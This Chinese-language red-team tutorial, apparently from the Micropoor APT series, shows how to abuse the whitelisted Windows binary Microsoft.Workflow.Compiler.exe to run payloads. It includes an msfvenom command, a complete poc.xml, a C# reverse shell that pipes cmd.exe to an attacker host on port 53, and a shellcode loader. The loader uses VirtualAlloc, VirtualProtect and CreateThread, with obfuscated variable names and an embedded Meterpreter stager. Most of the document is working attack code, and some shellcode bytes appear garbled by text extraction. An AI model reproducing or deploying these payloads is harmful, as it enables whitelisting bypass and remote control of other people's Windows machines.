专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，身体特别重要。

说明：Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中，因此，Microsoft.Workflow.Compiler命令无法识别。

基于白名单Microsoft.Workflow.Compiler.exe配置payload：

Windows 7 默认位置：C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

靶机执行：

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compi ler.exe poc.xml Micropoor.tcp

结合meterpreter：

注：payload.cs需要用到System.Workflow.Activities

靶机执行：

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Com piler.exe poc.xml Micropoor\_rev1.cs

配置攻击机msf：

payload生成：

1 msfvenom ‐p windows/x64/shell/reverse\_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp

附录：poc.xml

注：windows/shell/reverse\_tcp

1 <?xml version="1.0" encoding="utf‐8"?>

2 <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema‐instance" xml ns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"

3 <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serializatio n/Arrays">

4 <d2p1:string>Micropoor.tcp</d2p1:string>

5 </files>

6 <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/Syste m.Workflow.ComponentModel.Compiler">

7 <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Seria lization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.Co deDom.Compiler" />

8 <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/ 2004/07/System.CodeDom.Compiler" />

9 <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/ System.CodeDom.Compiler"></coreAssemblyFileName>

10 <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/S erialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/Syste m.CodeDom.Compiler" />

11 <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System. Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/200 4/07/System.CodeDom.Compiler" />

12 <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/Sy stem.CodeDom.Compiler">false</generateExecutable>

13 <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/Syst em.CodeDom.Compiler">true</generateInMemory>

14 <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/ 07/System.CodeDom.Compiler">false</includeDebugInformation>

15 <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Ser ialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System. CodeDom.Compiler" />

16 <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/0 7/System.CodeDom.Compiler" />

17 <outputName xmlns="http://schemas.datacontract.org/2004/07/System.Cod eDom.Compiler"></outputName>

18 <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/0 7/System.CodeDom.Compiler" />

19 <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/0 7/System.CodeDom.Compiler">false</treatWarningsAsErrors>

20 <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.C odeDom.Compiler">‐1</warningLevel>

21 <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/20 04/07/System.CodeDom.Compiler" />

22 <d2p1:checkTypes>false</d2p1:checkTypes>

23 <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>

24 <d2p1:compilerOptions i:nil="true" />

25 <d2p1:generateCCU>false</d2p1:generateCCU>

26 <d2p1:languageToUse>CSharp</d2p1:languageToUse>

27 <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/S erialization/Arrays" i:nil="true" />

28 <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/ 07/System.Reflection" i:nil="true" />

29 <d2p1:mtInfo i:nil="true" />

30 <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/0 7/System.CodeDom" i:nil="true" />

31 </parameters>

32 </CompilerInput>

Micropoor.tcp：

1 using System;

2 using System.Text;

3 using System.IO;

4 using System.Diagnostics;

5 using System.ComponentModel;

6 using System.Net;

7 using System.Net.Sockets;

8 using System.Workflow.Activities; 9

10 public class Program : SequentialWorkflowActivity

11 {

12 static StreamWriter streamWriter; 13

14 public Program()

15 {

16 using(TcpClient client = new TcpClient("192.168.1.4", 53))

17 {

18 using(Stream stream = client.GetStream())

19 {

20 using(StreamReader rdr = new StreamReader(stream))

21 {

22 streamWriter = new StreamWriter(stream); 23

24 StringBuilder strInput = new StringBuilder(); 25

26 Process p = new Process();

27 p.StartInfo.FileName = "cmd.exe";

28 p.StartInfo.CreateNoWindow = true;

29 p.StartInfo.UseShellExecute = false;

30 p.StartInfo.RedirectStandardOutput = true;

31 p.StartInfo.RedirectStandardInput = true;

32 p.StartInfo.RedirectStandardError = true;

33 p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHan dler);

34 p.Start();

35 p.BeginOutputReadLine(); 36

37 while(true)

38 {

39 strInput.Append(rdr.ReadLine());

40 p.StandardInput.WriteLine(strInput);

41 strInput.Remove(0, strInput.Length);

42 }

43 }

44 }

45 }

46 } 47

48 private static void CmdOutputDataHandler(object sendingProcess, DataR eceivedEventArgs outLine)

49 {

50 StringBuilder strOutput = new StringBuilder(); 51

52 if (!String.IsNullOrEmpty(outLine.Data))

53 {

54 try

55 {

56 strOutput.Append(outLine.Data);

57 streamWriter.WriteLine(strOutput);

58 streamWriter.Flush();

59 }

60 catch (Exception err) { }

61 }

62 } 63

64 }

Micropoor\_rev1.cs：

注：x64 payload

1 using System;

2 using System.Workflow.Activities;

3 using System.Net;

4 using System.Net.Sockets;

5 using System.Runtime.InteropServices;

6 using System.Threading;

7 class yrDaTlg : SequentialWorkflowActivity {

8 [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UIn t32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);

9 [DllImport("kernel32")] public static extern bool VirtualProtect(IntPt r DStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);

10 [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt3

2 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UIn t32 ZSheqBwKtDf, ref UInt32 SZtdSB);

11 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje ct(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);

12 public yrDaTlg() {

13 byte[] QWKpWKhcs =

{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x

52,

14 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18, x48,

15 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31, xc9,

16 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d, x41,

17 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c, x48,

18 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00, x8b,

19 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50, x8b,

20 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9, x41,

21 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, xc1,

22 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08, x45,

23 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41, x8b,

24 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48, x01,

25 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a, x48,

26 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12, xe9,

27 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00, x00,

28 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89, xe5,

29 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89, xe4,

30 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea, x68,

31 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a, x0a,

32 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48, x89,

33 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff, xd5,

34 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41, xba,

35 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75, xe5,

36 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31, xc9,

37 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff, xd5,

38 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40, x41,

39 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9, x41,

40 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d, x31,

41 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9, xc8,

42 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00, x40,

43 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff, xd5,

44 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9, x3c,

45 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4, x41,

46 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff, xd5};

47 IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x0

4);

48 Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);

49 IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero;

50 uint BnhanUiUJaetgy;

51 bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out B nhanUiUJaetgy);

52 oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);

53 WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}

54 }